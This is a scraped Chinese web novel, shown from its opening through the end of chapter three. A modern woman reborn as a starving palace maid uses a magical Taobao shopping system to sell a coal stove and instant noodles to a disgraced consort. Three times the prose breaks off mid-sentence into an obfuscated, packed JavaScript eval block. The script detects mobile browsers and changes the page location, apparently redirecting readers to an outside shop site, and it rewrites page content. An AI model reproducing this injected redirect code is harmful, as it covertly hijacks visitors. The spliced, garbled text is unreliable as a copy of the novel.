《绑定淘宝穿宫后平步青云了》 1. 第一章 天蒙蒙亮,柳宛东紧紧蜷着身体缩在被窝里,被子突然被掀开了,她一个激灵睁开了眼睛。 “起身了!宛东!”睡在旁边的采琴麻利地穿上棉袄棉裤,再穿上宫服下了矮榻,匆匆洗漱去了。 柳宛东拾起被子想要继续睡,奈何被子又薄又硬,她刚要躺下,头不小心磕到了矮榻旁边的砖墙上,“嘶!”好痛。 寝殿外的门已经大开,一阵冷风卷着树叶吹到脸上,将她的脸刮得生疼。 不睡了! 她就着黑蒙蒙的天,也开始穿衣服。贴身穿的白色的麻布里衣和最外层的宮服都是麻料,硬、粗糙、透风,中间则是棉袄棉裤,说是棉的,和白鸭绒不能比,很厚很硬,全都放的是旧絮。 而且今天她和采琴值夜,需要在寝殿最外的大堂睡。这块守着门口,晚上可冷了。床榻也是一个破的木榻,上面仅仅铺了一层草席,薄棉被盖了像没盖,她这一宿就没睡踏实。 快速收拾一番,柳宛东拖着沉重的身体来到供水处打水。 供水处已经有好几个小宫女了,全都和她穿得一样。不过她们倒是更精神,动作也更麻利。显然已经习惯了这样的作息。 柳宛东闭着眼睛颤抖着泼了一点水到手上,然后胡乱搓了把脸就当洗脸了。在这样一个数九寒天的冬天,冰冷的井水扑到脸上绝对是酷刑,她才不干呢。 快速用手绢擦了把脸回到院子里,领事宫女妙凌早已经到了,柳宛东快速站进墙根下头一排宫女的队伍里。 “你怎么回事?今天又是最后一个,平时里不都是你最勤快的吗?”妙凌手里拿着藤条,语气严厉,“明天再慢就拿藤条抽你了!” “姥子……”柳宛东刚要反驳,但又想到这是在宫规森严的皇宫里,以下犯上是大罪。她只好秉承老打工人的意志,回道:“收到。” “回话要说‘是’,回教导的话要说‘奴婢谨记教诲’,‘收到’算什么答复?”妙凌皱眉。 “没有啊我……”柳宛东看到妙凌拧成麻花的眉心,立马从善如流,咧开嘴,用甜得发腻的声音:“是,奴婢谨遵教诲。” “这还差不多,今天你也去扫院子,扫完院子再浣衣。”妙凌又把宫规守则强调了一通才让众人离开做工。 * 这是柳宛东穿越到架空朝代——“青鸾朝”的第三天。 三天前的工作日早高峰,她从地铁口出来穿过马路跑去公司的时候被一辆车撞了。 再睁开眼睛就躺在院子石板上,周遭全是低矮的古代建筑,红墙黑瓦,她还以为自己没睡醒呢。 原主是青鸾朝皇宫浣衣局里最低等的一个小宫女,也叫宛东,年方18。虽然才只有18岁,但是12岁就进了宫,已经是工龄6年的老打工人了。 很难想象这样一个身材羸弱的小宫女每天要做繁重的洒扫、洗衣等各种辛苦活计,吃不饱穿不暖不说,半夜值班还要睡在四面透风的寝殿大堂。 21世纪,18岁的女孩们正是身强体壮的时候,可生活在青鸾朝的宛东却面黄肌瘦、营养不良,看起来跟21世纪14、15岁的初中生身材差不多。 宫女宛东估计是又冷又饿病死了。恰巧同一时间柳宛东出车祸,于是就这么魂穿过来了,不仅带着自己的记忆也接收了原主的所有记忆。 柳宛东一来到这里就继承了宫女宛东瘦弱的身体以及她的重感冒。这几天头都昏昏沉沉的,身体提不起劲来。 “宛东,你去打水,我们来擦地。”和她一起扫院子的还有两个宫女,一个叫姹紫,一个叫嫣红。 打水? 宫里打水可不像以前在家拧开水龙头就有水那么容易。这里是要把木桶系上绳子,沉到井中盛出水来,再把整个装满水的水桶拎到院子里的。 木桶本来就沉,加上水的重量就更沉,从井里往上提的时候相当吃力,要是搁以前她的身体,拎着这点水不在话下。但现在,她只是一个营养不良病恹恹的瘦弱小姑娘,每次打水都要累个半死。 洒扫倒是不需要太多力气,但是弯腰比较多,就是要一个人拿扫把扫落落叶和尘土,另一个人把水桶里的水泼到石板上,再蹲着用抹布擦干净。 “二位姐姐,我现在身体不便,能否我来洒扫,你们二人中的一位抬水呢。”柳宛东客气地说。 “身体不便?我还心情不好呢!那我干脆去晒太阳算了。你可别想偷懒!”姹紫分毫不让。 “我现在生病,抬水桶实在吃力,这样耽误了大家,我们都要挨罚。不如这次两位姐姐先,下次我病好了,我再来抬。” “不行,这次是这次,下次是下次。”二人并不同意。 柳宛东并不理会,她直接拿起扫把开始干活。原主的记忆里,姹紫和嫣红这两个人仗着身体强壮些,宛东又是个忍气吞声的,便一直在欺负她。 “长能耐了是吧死丫头,看我不拧死你。”姹紫胳膊一抬就冲着柳宛东的腰来了,柳宛东的身体条件反射般地定在原地,不自主地抖了起来。 看来以前这俩人没少拧她,都吓出创伤后遗症来了。 要打架? 原来在法治社会,柳宛东一身的格斗技巧正愁没地方发挥,现在可没监控! 她迎上去一个快步转到姹紫身后,右侧胳膊抬手横在姹紫的脖子下方,右腿踩进姹紫的两腿之间。 眼看着嫣红也来到身前,柳宛东腿用力往外动,别住姹紫的右腿,想要先放倒姹紫,结果姹紫纹丝不动。 她再一用劲,姹紫还是不动。 她突然意识到,宫女宛东这副身体实在太柔弱了,姹紫和嫣红都比她要高半个头,还结实一些,她根本打不过。 “你还知道还手了!”姹紫用胳膊肘狠狠杵了柳宛东心口一下。闷痛传来,柳宛东如落叶般倒地。 然后姹紫和嫣红两个人的手如雨点般落了下来,拧得柳宛东一阵哀嚎。 “姐姐误会了,我不是还手,我是想要……想要看看姐姐的身量。” “看身量干什么?” “我呀,有一个好方法,能让这活干得轻松……疼疼,能不能先住手。”柳宛东道。 姹紫停下手,嫣红也跟着收手。 “就是我一个人扫地拖地,你们二位抬水。” “这不和你刚才说的一样吗?”嫣红大声嚷嚷。 “不一样的,以前不都是一个人抬水,一个人扫地,一个人拖地吗,现在你们两个人一起抬水,我一个人把扫地拖地的活计全都承担了,如何呢。” “可是轮流抬水也不轻松,我不同意……”嫣红有点犹豫,水桶确实很沉,而且扫到门口时,要把水桶从院子一角的井边抬到门口处,那可是很远的路呢,胳膊会很酸的,而且水桶上面木制的方形横梁非常硌手,会很难受。 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911256|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道抬水不轻松还把活派给我?柳宛东心里吐槽,但还是露出笑容,“不是轮流,是你们两个人一起抬。” “这一个桶上面就这么一小段把手,两个人抬根本不方便的。”姹紫道,到时候别水没抬成,两个人挤来挤去,全洒在衣服上了。 “那就用这个。”柳宛东起身把头发上沾着的树叶拿下来,走到院子的老槐树下。昨天风大,地上散落了不少枝杈,柳宛东捡起一段比较粗的树枝,将尾部的细梢掰下来,让整个枝干尽量保持同样粗。 “将这个穿过木桶上的把手,你们二人一人抬树枝的一边就好了。”柳宛东这几天观察了一下青鸾朝,生产力相当不发达,经济很是落后,应该还没发明出扁担。 扁担省力,可是非常优秀的发明。 姹紫和嫣红将信将疑地按着柳宛东所说操作了一下,竟然真的省力不少。 以往木桶提上来后,需要双手把住上面的横梁,躬身将水提起来,水桶沉,加了水更沉,即便很多时候她们只是盛七八分满,那分量也能让人躬身费力。 现在加上一段粗壮的树干,境遇就完全不同了。两个人抬一桶水,就算水桶装满,也轻松很多,更别说有了树枝无需躬身,腰腹部不会酸麻,真的简单起来了。 而且以前打水打半满,要来回往返多次才能打够冲刷好一整个院子和过道的水量,现在装了满桶的水,能少跑好多趟。 两个人一边打水还能腾出力气说笑。 另一边柳宛东扫地拖地也简单。她先是把大面上的落叶都扫了,然后将厚厚的麻制抹布放在浇了水的砖面上,一只脚踩地面行走,另一只脚踩住抹布开始在地面上蹭。 这样就不用辛苦弯腰跪在地面上擦了。 本来一个时辰的活她们半个时辰都没用完就完成了。 待活计做好,院子里的鸡才开始打鸣。柳宛东内心忍不住再次哀嚎起来,这是什么起得比鸡早的日子啊! “咕~”她的肚子不争气地叫了一声。 好饿啊。她现在胃里空空如也,灼烧感从胃部蔓延到整个后背,再不吃点东西她真要撑不下去了。 强打起精神,她眼前发黑地回到自己的住处,那是最西边一大间低矮的瓦房里,她们八个人睡一个大通铺。 一会就是早饭时间了,再坚持一会就能吃到饭了。 可体力实在不支,她碰到自己床位的时候眼前一黑晕了过去。 与此同时,脑内一个机械电子音响了起来,“宿主生命体征值为40%……20%……10%以下。” 【滴~恭喜宿主柳宛东成功绑定淘宝升职系统。】 眼前突然出现了一个只有她自己能看见的泛着橘光的半透明屏幕,淘宝? 熟悉的界面和操作系统,柳宛东只需要用意念就可以操作系统。 她缓缓躺在床上,嘴角露出得意的微笑。 金手指!终于来了!淘宝!太好了,有了淘宝还愁什么买不到吗?! 她想好了,科技改变生活,她要吃香喝辣,她要睡饱穿暖,她要过好日子!她要解放农奴,她要推翻帝制,她要成立党支部当书记! 但很快她就笑不出来了。 【检测到宿主没有官衔品级,下单一次后淘宝升职系统会冻结十日。】 什么?每十天才能下一单? 闹呢?柳宛东气得直挺挺地坐了起来。 2. 第二章 似乎是感觉到她的情绪波动,淘宝升职系统又小声补了一句—— 【完成主线任务——升职,可以缩短系统冻结天数,还有特别奖励!】 她没有任何反应,她现在是浣衣局最低等的小宫女好不好,品阶是什么?那是女官才有的好不好?一个小宫女成为女官,得要多久? “我拒绝,我在有品阶之前就会饿死、冻死或者被你气死!” 【完成支线任务——挣钱,可以随机掉落下单机会哦,赶快行动吧!】 我%……&%*&! 说完这些,系统就开始装死了。 柳宛东没别的选择,她必须行动,于是开始研究系统的淘宝界面。 系统里的淘宝界面比以前用的手机上的淘宝软件更精简,主要的操作界面分为三个。分别是“购物”、“闪购(外卖)”和“闲鱼”,对应起来就是可以自行下单购物、点外卖或者低价出售商品。 柳宛东率先点进“闪购(外卖)”界面,她现在是一头饿狼,必须要订两份炸酱面和四份蛋炒饭补充一点体能。 “消费等级未达到,暂时不能解锁‘闪购外卖’界面。”系统弹出这样的提示音。 “闪购(外卖)”界面上是一片空白,只有一只灰色的乌鸦在上面抖动。 柳宛东只好退回到“购物”界面,“购物”界面倒是都能用,能刷新看到各种各样的商品。她点击“我的”,发现这里并不像以前的淘宝账户那样能够绑定银行卡支付软件之类的,更不能借贷。 界面上清晰地显示着账户余额为“0”。 果然,她以前兢兢业业打工那么多年的银行卡余额全都不能用。 想要在青鸾朝购买商品,必须要重新充值,从“零”开始。 她下了榻,凭着记忆在掉了漆的木柜子里找到了宫女宛东的钱袋,里面只有十几枚铜钱和一只母亲去世前留下的银镯子,便是她所有的家当。[1] 按理说来,宛东辛苦工作这么多年,总有点金银细软之类的的积蓄。奈何她宫外还有姥姥和生病的妹妹照料,月例几乎全填补了家里。 柳宛东拿出那些铜钱,点击淘宝界面上的“兑换”按键。一个对话框弹了出来。 “检测到铜钱15枚,可兑换淘宝币15元,是否兑换。” 柳宛东点击“是”,她的淘宝余额就变成了15元。 15块钱?15块钱也太少了,距离下次发月例还有半个月的时间呢,15块钱根本不够。 她将目光缓缓转向那只银镯子上。银镯子,还是古代物件,这得值不少钱吧。 她点开“闲鱼”界面,估了一下那只镯子的价格。 “旧的银镯子,梅花纹样,杂质较多,银含量为80%,重量35.06g,二手估价为180元。” 这银的含量也太低了,才只值180块?而且可能青鸾朝是架空朝代的缘故,“闲鱼”无法检测到朝代,体现不出文物的价值。 再想想记忆里宛东每次受了委屈就会对着这只镯子流泪的画面也知道这镯子的重要性。这么卖了太不值。 15块就15块,15块也能买不少东西呢。车祸前柳宛东生活富足,平时根本没在乎过这10块20块的钱,但是现在她必须精打细算。 没关系,刚大学毕业的时候,柳宛东也过过一分钱掰成两半花的穷苦日子,无非是再来一遍,更何况她还有了省钱经验了呢。 现在账户里有15块钱可供支配,她现在又感冒,又冷,又饿,又累。 15块钱,顶多只能解决这几种不适中的一种。 她在“购物”界面的搜索栏打下“方便面”几个字,从跳出的界面上选择了价格相对便宜,销量也比较好的“红烧牛肉面”五连包,总价是12.85元,她下单了。 【恭喜宿主下单‘柳师傅方便面’,十日内可下单次数:0】 她揉了揉眉心,十天内唯一的下单机会就这么用了。不过这确实是她深思熟虑的结果。 她现在的确是感冒了,头很痛,但是感冒冲剂和感冒药的作用也就是止痛和让患者多喝热水而已,所以她没买药。 当务之急是补充大量碳水,而且还得是要烹饪方法简单快捷的,如果能吃上热乎乎的方便面,既能够补充了碳水又能喝到热汤,一举好几得。 当然,她知道挂面更便宜量还大,可是方便面是方便面,挂面是挂面,她需要油水,没有肉的话,方便面里油料包再合适不过打牙祭了。 站在屋里半天,她搜索着看哪个角落会闪现方便面五连包,可迟迟没有。 “早膳时间到!”太监的声音从院门口传来。 “来了!”柳宛东整理好衣服匆匆出了房门,今天是她轮值领膳。 她站在院子门口,院子外面的宫道上站着一位宫女和两位太监,两个太监推着一个只有一个轮子的木车,木车边上挂了两个木桶。 他们将两个桶解下来,递给门里站着的宛东。 “半个时辰后来收桶。”送膳的宫女是领头,她严肃道。 左边桶里是十几个玉米面馍馍,右边桶里是一桶腌的咸菜。她将两个桶全都拎到西侧寝殿大堂,那里的木桌子上已经整齐地坐了很多等饭的宫女,她们面前全都放着自己的碗筷。 她先给领事宫女妙凌盛好饭,再用给每个人碗里分了咸菜和馍馍,最后给自己的碗里留了点咸菜,将一个馍揣进怀里就拎着桶往东边的房子走去。 “你等等。”姹紫一边嚼着咸菜,一边把桶里剩下的那两个馍拿出来往地上踩了两脚,等馍已经被踩得裂开,全都沾满了泥水,姹紫将这那些馍又放回桶里,馍落进桶里发出“咚咚”的沉闷回落声,“你去送去吧。” “你这是干嘛?!”柳宛东气愤,怎么糟蹋粮食。她看向妙凌,妙凌只是一味低头吃饭,并不理睬。 “别废话,再说我连你的馍也一块踩,”姹紫狠狠掰了一块馍到自己嘴里,“都进良宫了,还以为自己是贵人哪!每天不干活,还得等人伺候!” 柳宛东心下叹气,她拎着桶往西边走去,她还要去送隔壁院子的饭。 西边院子叫“良宫”,也就是传说中的冷宫。里头只住了一个被打入冷宫的“贵人”。 青鸾朝的皇上名为轩辕朔,是一位女子,年号“瑞广”。所以后宫中并没有嫔妃,除了太上皇是女子,其余全都是侍奉皇上的男子,统称为“侍修”。 瑞广帝性格爽朗,不爱记仇,所以被打入冷宫的侍修很少,只半个月前来了这么一位,以及他的贴身太监。连良宫也是临时找的浣衣局的里院。 进入良宫需要先路过浣衣局的院子,而送膳的宫人没有敕令不得随意进出宫门,自然良宫送饭的任务就落到附近的浣衣局的宫人这里。 “石公公,早饭来了。”柳宛东悄悄用衣袖将那馍馍上面的脏污擦拭过,再递过去。 石公公接过那两个馍,仔细把其中一个馍沾到脏污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911257|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方掰了去,“哎呦,谢谢宛东,每次,你来送饭我们才能吃到点咸菜,咱家吃什么都行,只是可惜了我家主子,他过惯了以前的日子,现在……” 石公公姓石,单名一个“万”字,9岁就净身入宫了,跟过两任主子,第二任便是屋里这位。 “石大头,你在那嘀咕什么呢本君什么日子不能过?”辉郎官的声音从房间内传出来,伴随着虚弱的喘息。 男妃子也有品级,位阶最低的是郎官,最高的是凤君,凤君只有一个,类似后位。中间还有卿、贵卿、君、贵君、皇贵君等,类似妃嫔等级。 良宫的待遇实在不好,打入良宫的侍修以前过的是侍奉御前的显贵日子,现在只能吃宫女们吃剩的剩菜。可是这也没办法,谁让辉郎官仗着自己身量八尺、剑目星眉、圣上宠爱就作天作地呢。 “是是,奴才这就来了。”石万想起什么又对柳宛东说,“对,你等一下。” 他从袖子中拿出2枚大钱,“当时来良宫匆忙,也没带多少东西,我家主子今天受了风寒,你能不能帮我们打些热水来?这钱,就算辛苦你的跑腿费了!” 热水? 柳宛东怎么忘了这茬了,热水在皇宫里可是稀缺的东西,除了御膳房和各宫主子们有火灶和炉子,方便烧热水外,普通宫人想要喝到热水并不容易。 各宫主子的贴身宫人还好,可以吃一些有油水的剩饭剩菜,最底层的宫女太监有口吃的就不错了,更别提热水了。 古代的柴薪、木炭可是珍贵的燃料,煮饭尚且要节俭着用,没人会把这些燃料花费在奴才们的热水上。只有贵族,她们有钱有限,可以放个炉子烧壶热水,喝茶作诗,或者在做饭的火灶旁边放上陶罐煨罐热水。 至于冷宫的侍修,那就更别想了。冷宫就在一个“冷”字,热水、炭炉、厚衣厚被那是一点都没有的。 可眼前是2枚大钱,1枚大钱能抵10个铜板,在淘宝系统里能换20块钱,买好几包方便面呢! 而且更重要的是,这不就是系统所说的支线任务——挣钱……吗? 柳宛东将石公公的手轻轻推回,“石公公,咱们都知道出了浣衣局的宫门,往西边走个几百米就是御膳房,那里有大灶烧热水。但是宫人没有敕令不得私自出宫门,这是一入宫大家就必须牢记在心的条令,我确实也不忍心看贵君忍受病痛,只是我实在能力有限……” “咱家都懂,”石公公表情纠结,又忍痛从怀里掏出1枚大钱,“但是我家贵君……郎官从小锦衣玉食,没受过这样严重的风寒,你看能不能通融一下……” “唉,”看着石公公递到手里的3枚大钱,柳宛东按捺住心中的窃喜,似是为难地将那3个大钱收好,深深地叹了一口气。 【恭喜宿主收入3枚大钱(30块),第一次完成支线任务,系统赠送一次下单机会。】 【当前支线[挣钱]1级任务进度:30/150】 【十日内可下单次数:1】 还能再买一次,柳宛东按捺住激动的心情。 “我……奴婢刚入宫时一次浣洗衣物不小心刮花了衣服上的绣花,那时还是辉君的贵人免了我的责罚,我心里一直记着这事,现在贵人有疾,就算危险,奴婢也甘愿一试。” 石公公一听,宛东是应允了,他高兴地拍着她的手,“那就劳烦你了。” “此事需要奴婢周密规划,公公且耐心等上一两天,有消息我自然前来禀告。” 3. 第三章 没热水柳宛东也吃不上热乎乎的方便面,她将3枚大钱兑了30块钱后,又下单了一个小小的煤炉子,这个炉子正在促销中,还免费送了一斤软质无烟煤和点火工具,一共花了28.9块钱。 早上吃了馍和咸菜,现在柳宛东正在殿里擦拭桌椅,她很快又饿了。 这方便面到底什么时候送过来?! 再打开脑内的淘宝界面,一条物流消息提醒了她: “【发货服务提醒】卖家努力备货中,承诺后天21:00前发货,预计5日内到达,请您耐心等待。” 啊,她把这事给忘了,还有物流还要等,她好想立马吃上方便面啊。 “可以快点帮我发货吗?”她用意念在对话框里输入文字后发送给了方便面店家。 “好的,亲亲,我们这边都是按顺序发货哦,我帮您催一下库房呢。”客服店小二回复得礼貌又例行公事。 对话界面可以拍照以及录短的视频,柳宛东将自己的袖子挽起来,露出手臂和手背,用两只眼睛当摄像头,“咔嚓”拍了一张照片发到客服那里去,“亲亲,我好几天没吃饭了,可以帮我快点发货吗?” 电脑那边的店小二一边嚼着蛋黄派一边飞速回复,在看到一个卖家在淘宝对话界面发来的图片后虎躯一震,那是怎样的两只纤细的胳膊腕啊,小小的骨架外面只有一层皮,手腕的骨头特别突出,肤色发黄,皮肤粗糙皲裂,一看就是营养不良,再看那双手,关节处肿大,手上全是冻疮,右手中指关节处甚至还在流脓。 “你是不是被拐卖了?”店小二姐姐飞速打字。 “我没被拐卖,我就想吃方便面。急需!快发货。”柳宛东回复。 又拉扯对话了一会,确信对方没有被拐卖,店小二姐姐亲自去库房装了货,走了加急件,装货的时候她把自己衣服兜里所有独立包装的蛋黄派一并装进了打包盒里。 她真没想到,这年头还有过得这么穷苦的人,她的心被狠狠揪起来。贴物流地址的时候她扫了一眼收货地址,就在隔壁县的某个5A级景区——XX皇帝的陵墓。 景区?皇陵?女……女鬼?她身上起了鸡皮疙瘩,不过很快就冷静下来,方便面都吃不上的鬼有什么好害怕的,顶多算个穷鬼。 * 第二天的晚饭是红薯和素得哑光的炖白菜。 柳宛东自告奋勇又去送了饭,送饭的时候她将最后两个红薯揣进怀里,拎着一个盛了白菜的桶和另一个已经没有红薯的空桶匆匆离开了。 “显着她了,送饭送上瘾了,还抢着去。”宫女姹紫啃着红薯翻了个白眼。 同一时间,辉郎官这边。 谢平章坐在榻上,正是傍晚,背阴的房间里比屋外头还要更黑,他头痛欲裂,身上裹了一床露了棉絮的毯子。 可还是很冷。 “石大头,给我倒点水。阿嚏!”他缩在毯子里,狠狠地打了个喷嚏,几条手帕都洗完了,手里是最后一块干净帕子。 “来了!”石万放下手里的活计,用瓢从屋一侧的大水缸里舀出来一瓢凉水,倒到缺了一角的瓷碗里,端了过去。 谢平章接过瓷碗,冰得他一激灵,再一看水里,俨然出现了很多长的短的针尖似的冰碴子,“这凉的水!再喝更冻成冰块了!我不喝!”谢平章生气地将碗里的水泼到屋地上,将碗扔了出去。 “别别,主子,您吃饭喝水就这么一个碗!”石万跑过去半蹲着接下空中的瓷碗轻轻叹气。 以前谢平章还是贵君的时候,他是大太监,根本不用他干这些端茶递水的事,他只管挥下人们干活就行,自家主子更是悠哉,每日不是在陪皇上吃饭就是赏花喝茶,想要热水,随时有,那是半夜都会在小厨房的火灶里煨一罐的。 谢平章眼圈红了,他搞不懂,他当年进宫的时候,皇上说就喜欢他的直白,怎么现在嫌他脾气爆了? 想想也是,他就不应该跑到聂如良那个老绿茶的寝宫大吵大闹,正巧碰上皇上在那午睡,惊了圣驾不说,白白让聂如良看了自己被罚的笑话。 嗓子渴得冒烟,四肢冷得结冰,肚里空得冒酸水。这风寒看似越来越严重了,他哪里吃得了这种苦,他现在后悔了,他只想皇上能见他一面,来救救他。 “公公,石公公。”柳宛东拎着两个桶站在门口。 “来了,今天又是你送饭?”石万站在门口有点疑惑。 “石公公,我来给你热水。”柳宛东应到。房间里的谢平章听见外面虽然虚弱但是坚定的说话声愣了一下,怎么感觉这宛东中气十足的 ,跟以前完全不一样。 “啊,热水?”石万惊讶的时候声音更加尖细,他根本没想过宛东竟然这么快就来履约了。 但他很快反应过来,他把柳宛东请进屋里。柳宛东先是把怀里揣的两个馍递给石万,然后又把两个桶放到地上,一个桶里是炖得稀烂的白菜,隐隐有点酸味。 另一个桶里一打开,里面还是一个泥桶。 “这……水呢?”谢平章听见声音,从卧房走出来。正好看见掀开的两个桶里的光景。 哪有热水的影子? 他知道这个叫宛东的小宫女,瘦的跟个小鸡仔一样,半月前他刚来良宫的时候也是她来送饭,说话声音小得站在对面都听不见,他实在想不通石万那个大头为什么要把取热水这种艰巨任务交给她。 柳宛东抬头看着走过来的人影,这就是辉郎官谢平章了。 来人身高一米八多,面色苍白,嘴唇干裂,饶是这样,也依然挡不住俊美的样貌。 大帅哥,嘿嘿,皇上吃得真好,柳宛东感叹。反应过来后,她马上行了礼,然后把小炉子从桶里拿了出来,“郎官且耐心等上片刻就有了,石公公,需要锅和冷水。” 谢平章不耐烦地坐在屋子的石凳上,看着小宫女忙碌。 不一会他看出些眉目,这小宫女真不是瞎忙,那泥巴桶里面像是陶土,桶里放着一些黑色的石头,她握着一个方形的盒子,从中拿出一个短细的木棒,然后在盒子边上“呲溜”这么划了一下,瞬间就有橘黄色的火焰点燃了! 火!这可比宫里少见的火折子好使多了。火折子很昂贵,平时不用的时候要把竹筒合起来,用的时候打开,往里面吹气才能让里面的火星复燃,吹气的时候要吹好几下,甚至有的时候上一次用完不慎把火星熄灭,下一次就再也点不着火了。 “这是什么?”谢平章指着柳宛东手里的火柴起了很大的兴趣。 “这是奴婢干活时候偶然发现的,用木棒蘸取硫磺摩擦,能更快生火。”柳宛东胡诌一气,硫磺在青鸾朝已经是常见的了,主要是通过燃烧黄矿石提取。 柳宛东把着了火的火柴放进煤炉子里,不一会无烟煤就烧起来了,柳宛东将盛了冷水的大陶罐放在炉子上烧。 冰冷的小屋子也因为炉子的燃烧而渐渐有了温度。谢平章裹紧了毯子安静地坐在炉子边,他的四肢好像没有那么冷了。 这店家送的火柴还挺好用,划一下就着了,无烟煤也好点燃。柳宛东决定给他们个好评。 “宛东,这火炉你是从哪里得来的?”石公公双手靠近火炉,他现在浑身暖洋洋的。 “这……奴婢不才,会点手艺。”柳宛东腼腆一笑。 刚才系统“叮”一声,她就知道快递来了,点击系统的“取快递”按键,炉子的快递包就出现在她手边了。 这个炉子外壳像个柱形直桶,类似一瓶冰红茶的高度。小巧轻便,只不过外型有点扎眼,通体闪烁着不锈钢的耀眼光泽。青鸾朝的杂质少的铁都很少见,这种材质的炉子实在太引人注目了。 柳宛东只好从树底下扒了点土和成泥全都糊在桶外侧,牢牢盖住外面的不锈钢桶身,让小炉子看起来就跟个泥桶一样。好在炉子内胆是陶土泥胚,陶土在青鸾朝还是常见的。这样把外壳糊起来,也能糊弄过去。 不一会,热水开始冒泡泡,陶瓷锅里开始往外冒白色的蒸汽,水开始沸腾。 柳宛东、谢平章和石万三个人惊喜地围在炉子旁边,“是热水!真的是热水!”石万兴奋地喊。 他赶紧倒了一碗热水放在窗台,天气寒冷,很快水温就下来了,谢平章直接掀开毯子走到窗台前喝水,一口热水下去,微微烫口,他在嘴里含了一会,喝进肚里,好暖和好舒服! 久违的热水!谢平章深深吸了一口气,他竟然觉得有一种满足,从小锦衣玉食的他现在竟然因为一碗热水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911258|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就开心了。 连着喝了好几口把整碗水都喝了,他还没从这种暖洋洋的感觉中走出来,就闻到了一种奇异的香味。 这是一种他之前从来没有闻到过的味道,温和不刺鼻的一种咸香,却又无时无刻不在勾引着他肚中馋虫。 他走到小炉子前一看,那里面俨然已经煮起了面条,面条他经常吃,御膳房有个宫人擀面条很劲道,放点新鲜的白菜叶和盐就很好吃了。 可这陶锅里的面完全不像是擀出来的,很细,而且发黄,主要是面汤的颜色,呈现棕红色,上面还飘着不少红油圈。 这到底是什么面,他从未见过,他相信皇上也一定没见过这种食物。 “辉郎官,这是您的面。”柳宛东狠狠夹了一筷子面放进谢平章手里的瓷碗中,然后又端起锅,给他倒了点方便面汤。 “这是……什么面?”谢平章咽了下口水。 “这是我家里自创的干面饼,把面条煮好风干,方便携带,等到想吃了再煮开就好。”柳宛东又开始信口开河,吃饭的时间只有这么一小会,她想吃方便面,也不吝于分享面条。 “公公,这是您的。”柳宛东又夹了一筷子面条到给石万。石万抬头看了一眼谢平章,立马跪下“奴才吃不得。” 即便是冷宫里,尊卑还是有序的。 “吃吧,这么冷的天,你真饿坏了,谁来服侍我。”谢平章发话。 石万战战兢兢地捧着半片瓷碗,接过了热乎乎的汤面。 剩下的就是柳宛东自己的,她将面条夹进方便面的包装袋里,没有碗,就拿袋子凑合一下。 这陶锅不大,她只煮了两袋方便面,三个人吃,不过也够了,之前总是挨饿,突然吃太多怕是对身体不好。 石万哪里吃过这样好吃的汤面,就算以前他当大太监的时候,能跟着谢平章吃点剩饭剩菜,也都是残羹冷炙,这面入口爽滑劲道,吃起来香气怡人,最主要是热乎的,他大快朵颐起来,三两下就吃完了,又去盛了点汤喝。 柳宛东久违地吃上方便面,热腾腾的汤面一下肚,长久空虚的胃部终于得到了满足。每个毛孔似乎都在尖叫,她大口大口吃着面条,幸福得快要流泪,她什么时候这么容易满足来着,可是吃着这久违了的方便面,她确实觉得自己圆满了。 三个人都吃得很快,不一会,屋子里只剩下沉默喝汤的声音。 “时间到了,奴婢要送桶回去了。”柳宛东将砂锅搬开,用两根树枝夹起里面还在燃烧的炭。 “别别!”谢平章难得能够这么暖和,他感觉他的风寒似乎好了不少,他给石万递了个眼色。 石万将柳宛东拉到院子里,“宛东啊,虽说我家主子现在和皇上置了气,保不准什么时候皇上气消了就能恢复贵君之位呢,这炉子,你看要不就留在我们这屋里?” “可是,这是我好不容易做的……”柳宛东一脸痛心。 “就当我们买的,你看多少钱合适?” 柳宛东想了想,炉子是28块9毛钱,利润不能太少,毕竟这可是物资缺少的宫里,更何况谢平章的姐姐可是守边的将军,很有钱的。 她伸出双手的十个指头。 石万还以为要多少钱呢,原来只是10枚大钱,他爽快地付了钱。 【恭喜宿主收入10枚大钱(100块)。】 【当前支线1级任务进度:130/150】 “不过里面的炭火可是另外的价格,1枚大钱2斤。”柳宛东之前搜索过,2斤无烟煤也就三块出头,买的多还能更便宜。 “还有刚才的面钱。”石万又要掏钱。 柳宛东这回用力地推回了他付钱的手,“今天的面和炉里的炭火算是我送的,您就别和我客气了,我观贵人的好运还在后头呢,以后能想起来奴婢就是了!” 这不是柳宛东胡说,谢平章的样貌无法被任何一个异性恋的女人放弃。想到这她庆幸自己是钱性恋,不爱人,只爱点小钱。 “对了,这些汤我要带走。”煮方便面的汤还有剩,柳宛东把没用完的小半包粉包调料倒进去,又加了点水,煮开后倒进放置白菜的餐桶里离开了。 现在是急需用钱,但收钱对象另有其人。 4. 第四章 